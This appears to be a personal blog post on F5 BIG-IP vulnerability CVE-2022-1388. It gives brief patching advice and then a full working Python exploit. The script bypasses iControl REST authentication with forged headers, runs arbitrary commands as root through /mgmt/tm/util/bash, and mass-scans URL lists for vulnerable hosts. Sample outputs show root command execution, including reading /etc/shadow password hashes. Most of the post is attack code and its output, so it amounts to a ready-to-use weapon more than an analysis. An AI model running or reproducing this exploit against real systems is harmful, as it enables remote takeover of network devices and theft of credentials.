Diniz Martins

May 9, 20222 min

F5 | CVE-2022-1388

A proof of concept (PoC) was developed for a critical vulnerability in F5's BIG-IP networking software that could expose thousands of users to remote control.

The vulnerability, tracked as CVE-2022-1388, could allow an attacker to make undisclosed requests to bypass iControl's REST authentication.

If exploited, an unauthenticated user could get remote code execution (RCE) on an affected device. 👽

Affected Devices

Everything older than version 17. Patches are available for BIG-IP versions 13-16. BIG-IP version 11 and 12 are vulnerable with no available patch.

So what should you do?

Usually, I recommend patching first and later attending to the configuration issues. But in this case, I will swap this order: First, make sure you are not exposing the admin interface. If you can't manage that: Don't try patching. Turn off the device instead. If the configuration interface is safe: Patch!

â–“ CVE-2022-1388.py:

import os
 
import sys
 
import argparse
 
import urllib3
 
import requests
 
urllib3.disable_warnings()
 

 

 
headers = {
 
"User-Agent": "Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1",
 
"Content-type": "application/json",
 
"Connection": "close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd,X-F5-New-Authtok-Reqd,X-Forwarded-Server,X-Forwarded-Host",
 
"X-F5-Auth-Token": "anything",
 
"Authorization": "Basic YWRtaW46"}
 

 
endpoint = "/mgmt/tm/util/bash"
 

 
def usage():
 
print("Eg: \n python3 CVE-2022-1388.py -u https://127.0.0.1")
 
print(" python3 CVE-2022-1388.py -u httts://127.0.0.1 -c 'cat /etc/passwd'")
 
print(" python3 CVE-2022-1388.py -f urls.txt")
 

 
def poc(url):
 
payload = {"command": "run", "utilCmdArgs": "-c id"}
 
try:
 
res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
 
if (res.status_code == 200) and ('uid=0(root) gid=0(root) groups=0(root)' in res.text):
 
print("[+] {} is vulnerable!!!".format(url))
 
return True
 
else:
 
print("[-] {} is not vulnerable.".format(url))
 
return False
 
except Exception as e:
 
print("[-] {} Exception: ".format(url) + e)
 
pass
 

 
def exp(url, command):
 
payload = {"command": "run", "utilCmdArgs": "-c '{}'".format(command)}
 
try:
 
res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
 
if (res.status_code == 200) and ("tm:util:bash:runstate" in res.text):
 
print(res.json()['commandResult'])
 
return True
 
else:
 
print("[-] {} is not vulnerable.".format(url))
 
return False
 
except Exception as e:
 
print("[-] {} Exception: ".format(url) + e)
 
pass
 

 
if __name__ == '__main__':
 
parser = argparse.ArgumentParser(
 
description="CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE")
 
parser.add_argument('-u', '--url', type=str,
 
help="vulnerability verification for individual websites")
 
parser.add_argument('-c', '--command', type=str,
 
help="command execution")
 
parser.add_argument('-f', '--file', type=str,
 
help="perform vulnerability checks on multiple websites in a file, and the vulnerable websites will be output to the success.txt file")
 
args = parser.parse_args()
 
if len(sys.argv) == 3:
 
if sys.argv[1] in ['-u', '--url']:
 
poc(args.url)
 
elif sys.argv[1] in ['-f', '--file']:
 
if os.path.isfile(args.file) == True:
 
with open(args.file) as target:
 
urls = []
 
urls = target.read().splitlines()
 
for url in urls:
 
if poc(url) == True:
 
with open("success.txt", "a+") as f:
 
f.write(url + "\n")
 
elif len(sys.argv) == 5:
 
if set([sys.argv[1], sys.argv[3]]) < set(['-u', '--url', '-c', '--command']):
 
exp(args.url, args.command)
 
else:
 
parser.print_help()
 
usage()

â–“ Outputs:

root@DRM:/tmp# python3 CVE-2022-1388.py -u https://<ip-address>
 
[+] https://<ip-address> is vulnerable!!!

root@DRM:/tmp# python3 CVE-2022-1388.py -u https://<ip-address> -c 'id'
 
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

root@DRM:/tmp# python3 CVE-2022-1388.py -u https://<ip-address> -c 'cat /etc/shadow'
 
...
 
root:$6$TMuNP0xxxxxxxx
 
admin:$6$83fzG1vk$7wpUV.vkxxxxxx
 
...

⇡ sha512—Produces a 512-bit digest. The encrypted password starts with $6$.

root@DRM:/tmp# python3 CVE-2022-1388.py -u https://<ip-address> -c 'tmsh show sys hardware'
 

 
Sys::Hardware
 
Chassis Information
 
Maximum MAC Count 1
 
Registration Key -
 

 
Hardware Version Information
 
Name cpus
 
Type base-board
 
Model Intel Xeon Processor (Skylake, IBRS)
 
Parameters -- --
 
cache size 4096 KB
 
cores 24 (physical:24)
 
cpu MHz 2194.838
 
cpu sockets 24
 
cpu stepping 4
 

 

 
Platform
 
Name BIG-IP Virtual Edition
 
BIOS Revision
 
Base MAC 52:54:00:xx:55:ba
 
Hypervisor KVM
 
Cloud
 

 
System Information
 
Type Z100
 
Chassis Serial 191931f7-0dcb-4d7c-45xe
 
Level 200/400 Part
 
Switchboard Serial
 
Switchboard Part Revision
 
Host Board Serial
 
Host Board Part Revision

    870
    2